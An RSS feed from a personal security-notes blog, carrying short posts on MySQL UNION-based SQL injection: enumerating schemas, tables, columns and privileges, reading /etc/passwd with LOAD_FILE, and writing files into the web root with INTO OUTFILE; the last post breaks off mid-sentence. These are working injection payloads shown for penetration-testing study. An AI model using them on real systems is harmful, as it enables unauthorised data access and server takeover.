<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Sql-Injection on slightlymore</title><link>https://slightlymore.co.uk/tags/sql-injection/</link><description>Recent content in Sql-Injection on slightlymore</description><generator>Hugo</generator><language>en-GB</language><copyright>&lt;a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license"&gt;CC BY 4.0&lt;/a&gt; by Clinton Montague</copyright><lastBuildDate>Sun, 04 Jan 2026 12:47:19 +0000</lastBuildDate><atom:link href="https://slightlymore.co.uk/tags/sql-injection/index.xml" rel="self" type="application/rss+xml"/><item><title>Enumerating databases, tables, columns, and user privileges with SQL injection</title><link>https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection/</guid><description>&lt;p&gt;Using a UNION injection we can find out about a (MySQL/MariaDB) structure.&lt;/p&gt;
&lt;p&gt;Here are some minimal examples. Remember to &lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;determine the correct number of columns 🌿&lt;/a&gt;
 and match that. Also clearly remember to add &lt;code&gt;WHERE&lt;/code&gt; clauses to these to narrow down the search.&lt;/p&gt;
&lt;h2 id="databases"&gt;Databases&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SCHEMA_NAME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SCHEMATA&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="tables"&gt;Tables&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;TABLE_SCHEMA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TABLES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="columns"&gt;Columns&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;TABLE_NAME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COLUMNS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="privileges"&gt;Privileges&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GRANTEE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PRIVILEGE_TYPE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;USER_PRIVILEGES&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;How to determine the number of columns for &lt;code&gt;union&lt;/code&gt; SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Reading files with MySQL</title><link>https://slightlymore.co.uk/reading-files-with-mysql/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/reading-files-with-mysql/</guid><description>&lt;p&gt;After &lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;enumerating user privileges 🌿&lt;/a&gt;
 if you find one which has &lt;code&gt;FILE&lt;/code&gt; you can use that to read files from the target.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOAD_FILE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/etc/passwd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating databases, tables, columns, and user privileges with SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/writing-files-with-mysql"&gt;Writing files with MySQL 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>SQL injection resources</title><link>https://slightlymore.co.uk/sql-injection-resources/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/sql-injection-resources/</guid><description>&lt;h2 id="tools"&gt;Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sqlmap.org/" target="_blank" rel="noopener"&gt;sqlmap ↗️&lt;/a&gt;
 has a &lt;code&gt;--proxy&lt;/code&gt; flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pro tip: remember to use &lt;a href="https://slightlymore.co.uk/proxying-cli-traffic-to-burp-suite-using-proxychains"&gt;proxychains 🌿&lt;/a&gt;
 to proxy to burp for tools without proxy flags!&lt;/p&gt;
&lt;h2 id="techniques"&gt;Techniques&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/writing-files-with-mysql"&gt;Writing files with MySQL 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/reading-files-with-mysql"&gt;Reading files with MySQL 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;How to determine the number of columns for &lt;code&gt;union&lt;/code&gt; SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating database tables and columns with SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Writing files with MySQL</title><link>https://slightlymore.co.uk/writing-files-with-mysql/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/writing-files-with-mysql/</guid><description>&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;This should not be enabled on any modern secure systems, but if it is, you can use it to create a remote shell.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://dev.mysql.com/doc/refman/8.4/en/server-system-variables.html#sysvar_secure_file_priv" target="_blank" rel="noopener"&gt;&lt;code&gt;secure_file_priv&lt;/code&gt; ↗️&lt;/a&gt;
 can have the following values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt;: cannot write anywhere on system&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; (empty string): can write anywhere&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;/path/to/dir&amp;quot;&lt;/code&gt;: can write only to specified path&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VARIABLES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;secure_file_priv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can get this by querying the information_schema using a union injection&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VARIABLE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;VARIABLE_VALUE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GLOBAL_VARIABLES&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="do-it"&gt;Do it&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;OOPS!&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTFILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/var/www/html/poc.txt&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating databases, tables, columns, and user privileges with SQL injection 🌿&lt;/a&gt;
&lt;/p&gt;</description></item><item><title>How to determine the number of columns for `union` SQL injection</title><link>https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection/</link><pubDate>Fri, 02 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection/</guid><description>&lt;p&gt;A union injection causes additional rows to be added to the result set by using the &lt;code&gt;UNION&lt;/code&gt; clause. To do this, we need to know the number of columns in the target result set.&lt;/p&gt;
&lt;p&gt;There are two easy strategies for this. Using &lt;code&gt;order by&lt;/code&gt; or &lt;code&gt;union&lt;/code&gt;. Assume that the following is vulnerable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$oops&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="order-by"&gt;&lt;code&gt;order by&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;In MySQL you can use numeric arguments for order by which you can use to infer the number of columns. Let &lt;code&gt;$oops = &amp;quot;test' order by 1 -- &lt;/code&gt; then the query becomes:&lt;/p&gt;</description></item></channel></rss>